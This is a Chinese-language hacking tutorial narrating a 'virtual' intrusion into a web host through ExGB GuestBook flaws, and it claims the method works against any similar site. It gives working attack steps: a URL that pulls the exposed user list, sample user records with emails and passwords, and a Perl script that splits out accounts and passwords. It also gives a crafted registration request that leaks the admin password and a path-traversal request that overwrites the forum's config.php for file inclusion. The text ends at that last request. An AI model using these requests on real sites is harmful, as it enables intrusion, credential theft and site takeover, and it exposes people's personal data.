这虽然是一次虚拟入侵,但却和真实的入侵没有什么差别,因为我们完全可以按照其中介绍的方式入侵任何一个类似的网站,
一次虚拟的入侵全过程
。我们即将入侵的主机基本情况如下:
操作系统:RedHat Linux v7.1
主机地址:http://www.notfound.org
Web服务器:Apache v1.3.20
好了,废话少说,我们开工吧!
一般来说,如果一个网站管理员比较勤快的话,我们应该很难从操作系统和Web服务器上找到漏洞,而这个管理员看起来就属于比较勤快的那种,我们在做了一些简单的测试之后,最终决定从CGI入手。
经过一些时间的观察和分析,我们发现这个网站上运行的CGI程序主要有两个,一个是论坛,名字没听说过,另一个是ExGB GuestBook。随便试了一下那个论坛,感觉应该是比较安全的,至少错误处理做的不错,我提交了几个特殊的请求连一点系统信息都没搞到,看来是找不到什么突破口了。但是ExGB GuestBook呢?漏洞可是很多的呀,如果你想知道漏洞的具体细节,可以访问下面的链接:
ExGB GuestBook泄露注册用户信息漏洞:
http://v7.51.net/exploites/gbook1.txt
ExGB GuestBook泄露超级管理员密码漏洞:
http://v7.51.net/exploites/gbook2.txt
ExGB GuestBook覆盖任意".php"文件漏洞:
http://v7.51.net/exploites/gbook3.txt
好了,我们先来看看这个留言簿的注册用户信息,在IE地址拦输入:
http://www.notfound.org/gbook/data/user.list
看看我们看到了什么?
820
medana|!:!|cctv6|!:!|medana@163.net|!:!|http://souce.myrice.com|!:!|xing xing liu yan
23423432|!:!|111|!:!|111@sina.com|!:!|http://333.com|!:!|我的留言
stzzx|!:!|sohu.com|!:!|honker2003@21cn.com|!:!|http://stzzx.k666.com|!:!|我的留言本
jiayk|!:!|kingshah|!:!|ni13@china.com|!:!|http://foolqq.myetang.com|!:!|科幻城
......
哈哈。。。注册用户很多嘛,有800多个,看来的确是个比较知名的大站了,但是为什么要用这么差劲的CGI程序呢?难道就因为这个CGI程序的知名度?知名度高就一定好吗?//sigh...现在的人啊!
我对这些注册用户的信息本身不感兴趣,但是我很想研究一下人们喜欢用什么样的字符串作为密码,所以我写了个小程序来分离出注册用户的帐号和密码,源代码如下:
#!/usr/bin/perl
#this tool is designed by analysist
#welcome to visit http://www.china4lert.org
$ARGC=@ARGV;
if ($ARGC != 1) {
print "Usage: $0
exit(1);
}
$datafile=shift;
if (!(-e $datafile)) {
print "File not found!\n";
}
$user="user.db";
$pass="pass.db";
if (-e $user) {
unlink $user;
}
if (-e $pass) {
unlink $pass;
}
open (DATA,$datafile);
open (USER,">>$user");
open (PASS,">>$pass");
while ($line=) {
if ($line =~ /\|!:!\|/) {
@data=split(/\|!:!\|/,$line);
print USER $data[0]."\n";
print PASS $data[1]."\n";
}
}
很简单吧,这里我建议你学习Perl语言,因为它的确是一种非常优秀的语言,它的文本处理能力是其它任何语言都无法比拟的,
电脑资料
《一次虚拟的入侵全过程》(https://www.unjs.com)。分析的结果肯定让你吃惊,大约90%以上的用户密码是数字序列,还有大约5%的用户帐号和密码相同,这不得不让你对国内用户的安全意识担忧吧?!
好了,下面我们看看超级管理员的密码是什么,我们提交一个这样的请求:
http://www.notfound.org/gbook/index.php?action=reg&name=test&password1=%24pass&password2=%24pass&email=test@test.org&home=http%3A%2F%2Fwww.test.org&title=%24pass&ubb=1&html=1&page=5&up=header&down=footer®sub=%CC%E1%BD%BB%C9%EA%C7%EB
haha...我们在IE的标题拦看到了超级管理员的明文密码,原来是"iloveu",看来这个管理员还是个多情之人,//puke...
我不打算用这个密码试着去登陆这台服务器,本身没有什么意义嘛,而且很容易被人发现,我才没那么傻呢,我们应该换个突破口。
我们看到ExGB GuestBook还有一个覆盖".php"文件的漏洞没有利用呢,利用这个漏洞,我们可以在该服务器上以Web Server的权限建立任何".php"文件,当然该文件的内容是相对固定的,看起来似乎没有什么大的作用。
再仔细的看了一下那个网站,原来论坛是用的别人的,可以去下载的呀。赶快把那个论坛的源码抓回来,仔细的分析了一下,终于发现了一个突破口。
其中配置文件"inc/config.php"中有如下片段:
$langdir=".";
$langfile="cn.php";
......
?>
而论坛主文件"forum.php"中又有如下片段:
require("inc/config.php");
include($langdir."/".$langfile);
......
?>
知道我要做什么了吧?提交一个下面的请求:
http://www.notfound.org/gbook/index.php?action=reg&name=../../forun/inc/config&password1=%24pass&password2=%24pass&email=test@test.org&home=http%3A%2F%2Fwww.test.org&title=%24pass&ubb=1&html=1&page=5&up=header&down=footer®sub=%CC%E1%BD%BB%C9%EA%C7%EB